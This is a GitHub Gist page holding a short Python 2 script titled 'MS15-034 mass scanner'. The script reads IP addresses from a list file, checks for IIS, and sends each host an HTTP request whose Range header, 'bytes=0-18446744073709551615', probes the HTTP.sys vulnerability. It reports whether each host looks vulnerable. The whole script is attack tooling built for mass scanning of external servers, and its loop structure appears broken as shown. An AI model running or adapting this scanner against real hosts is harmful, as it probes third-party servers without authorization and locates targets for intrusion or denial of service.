Created
April 16, 2015 09:04
-
-
Save xsuperbug/22d34affd4161001c209 to your computer and use it in GitHub Desktop.
MS15-034 mass scanner
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import socket | |
import random | |
import time | |
dosya = open("liste.txt","r") | |
ipAddress=[] | |
for i in dosya: | |
ipAddr = i | |
hexAllFfff = "18446744073709551615" | |
req1 = "GET / HTTP/1.0\r\n\r\n" | |
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n" | |
print "[*] Audit Started" | |
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
client_socket.connect((ipAddr, 80)) | |
client_socket.send(req1) | |
boringResp = client_socket.recv(1024) | |
if "Microsoft" not in boringResp: | |
print "[*] Not IIS" | |
exit(0) | |
client_socket.close() | |
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
client_socket.connect((ipAddr, 80)) | |
client_socket.send(req) | |
goodResp = client_socket.recv(1024) | |
if "Requested Range Not Satisfiable" in goodResp: | |
print ipAddr + "Looks VULN\n" | |
elif " The request has an invalid header name" in goodResp: | |
print "[*] Looks Patched" | |
else: | |
print "[*] Unexpected response, cannot discern patch status" | |
time.sleep(2) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment